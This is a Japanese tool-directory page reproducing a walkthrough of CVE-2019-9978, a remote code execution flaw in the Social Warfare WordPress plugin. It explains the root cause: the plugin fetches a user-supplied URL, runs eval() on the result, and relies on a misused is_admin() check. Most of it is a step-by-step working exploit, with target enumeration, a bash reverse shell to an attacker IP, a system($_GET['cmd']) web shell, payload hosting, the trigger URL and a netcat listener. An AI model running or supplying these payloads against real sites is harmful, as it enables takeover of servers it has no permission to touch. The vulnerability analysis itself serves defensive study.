Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-RCE — CVE-2019-9978 の完全なウォークスルーとエクスプロイト - Social Warfare WordPress プラグイン ≤ 3.5.2 における未認証のリモートコード実行。脆弱性コードの解析とペイロードの例を含みます。 | Kitploit
ツール/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

CVE-2019-9978 の完全なウォークスルーとエクスプロイト - Social Warfare WordPress プラグイン ≤ 3.5.2 における未認証のリモートコード実行。脆弱性コードの解析とペイロードの例を含みます。

リポジトリを見る
122ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – Social Warfare WordPress プラグイン RCE

⚠️ 免責事項: このリポジトリは教育目的および許可を得たセキュリティテスト専用です。自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください。無断アクセスは違法です。


📋 概要

プロパティ値
CVE IDCVE-2019-9978
影響を受けるソフトウェアSocial Warfare プラグイン ≤ 3.5.2 (WordPress)
脆弱性の種類リモートコード実行 (RCE) / リモートファイルインクルージョン (RFI)
認証の必要性❌ 不要 – 認証なし
CVSS スコア9.8 (Critical)
修正バージョン3.5.3
実地での悪用あり – 2019年3月

Social Warfare プラグインは、Web サイトにソーシャル共有ボタンを追加する人気の WordPress プラグインです。バージョン 3.5.0 から 3.5.2 には、攻撃者が認証なしでサーバー上で任意の PHP コードを実行できる重大な RCE 脆弱性が存在します。


このプラグインの用途は?

Social Warfare は、Web サイトにソーシャル共有ボタンを追加する人気の WordPress プラグインで、訪問者が以下のようなプラットフォームでコンテンツを簡単に共有できるようにします:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


根本原因分析

脆弱なコード

root@kitploit:~
if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ CRITICAL MISUNDERSTANDING:
    // is_admin() only checks if the page is in /wp-admin/
    // It does NOT verify authentication or user privileges!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // Step 1: Fetch remote file from user-controlled URL
    // No validation, no sanitization, no whitelist!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // Step 2: Extract content between <pre> tags
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // Step 3: Build PHP code string
    $array = 'return ' . $options . ';';

    // Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
        // ... rest of the migration logic
    } catch ( ParseError $e ) {
        // ... error handling
    }
}

なぜ is_admin() はセキュリティではないのか

WordPress の関数 is_admin() は、ユーザーがログインしているか、管理者権限を持っているかをチェックしません。これは単に、リクエストされたページが /wp-admin/ ディレクトリ内にあるかどうかを確認するだけです:

root@kitploit:~
function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  Does NOT check authentication!
    //  Does NOT check user role!
}

皮肉なこと: /wp-admin/admin-post.php にアクセスすると、WordPress は WP_ADMIN = true を定義します。そのため、is_admin() は認証されていないリクエストでも true を返し、結果として脆弱なコードブロックが実行されてしまいます。

これが脆弱性です!

root@kitploit:~
 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
    }

このプラグインには、開発者が外部 URL から設定ファイルを読み込むための隠し「デバッグ」機能がありました。しかし、この機能には致命的な欠陥がありました。ユーザーが指定した URL から任意のファイルをダウンロードし、その中に含まれるコードを何でも実行してしまうのです。しかも、許可を求めたり、ユーザーが認証されているかどうかを確認したりすることはありません。

悪用方法は単純です:

攻撃者は自分のサーバー上に悪意のあるファイルをホストし、そのファイルをプラグインにダウンロードさせます。プラグインは盲目的に攻撃者のコードを被害者の Web サイト上で実行します。このプラグインは実行をトリガーするためにログインを要求しないため、URL を知っている誰でも Web サイトを乗っ取ることができます。

次のように考えてみてください: ドアマンが「デバッグモード」と言うだけで、あなたがそこで働いているか身分証を持っているかを確認せずに、どんなドアでも開けてしまうと想像してください。それがまさにこの脆弱性がやっていたことです。

エクスプロイトは、2 つの <pre></pre> タグの間に記述する必要があります。


💀 悪用の手順

ステップ 1: 脆弱なターゲットを特定するか、WordPress とこのプラグインをインストールして以下の手順に従う

WPScan を使用して Social Warfare プラグインのバージョンを特定します:

root@kitploit:~
wpscan --url http://target.com --enumerate vp
  • Social Warfare プラグインのバージョン ≤ 3.5.2

自分でインストールした場合は、管理パネルからプラグインを有効化することを忘れないでください。


ステップ 2: ペイロードファイルを作成する

任意のペイロードを記述した payload.txt を作成し、そのペイロードを配信するサーバーを立てます。

ペイロードの例:

テスト用ペイロード (RCE の確認):

root@kitploit:~
<pre>phpinfo();</pre>

外部通信テスト:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

Linux リバースシェル:

root@kitploit:~
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

対話型コマンド実行:

root@kitploit:~
<pre>system($_GET['cmd']);</pre>

ステップ 3: ペイロードをホストする

Python HTTP サーバーを起動してペイロードをホストします:

root@kitploit:~
python3 -m http.server 8000

ペイロードには http://YOUR_IP:8000/payload.txt でアクセスできます。

localhost を使用する場合:

root@kitploit:~
http://127.0.0.1:8000/payload.txt

脆弱なコードにリクエストを送信すると、200 ステータスコードが表示されるはずです:

sc3


ステップ 4: エクスプロイトをトリガーする

オプション A – 手動トリガー:

ブラウザでこの URL にアクセスするか、curl を使用します:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

localhost を使用する場合も同様です:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

ステップ 5: リバースシェルを受け取る (リバースシェルペイロードの場合)

root@kitploit:~
nc -lvnp 4444

成功すれば、シェルを取得できます!


結果:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

sce

root@kitploit:~
<pre>phpinfo();</pre>

sc4


ハッピーハッキング! 🚀

ツールをダウンロード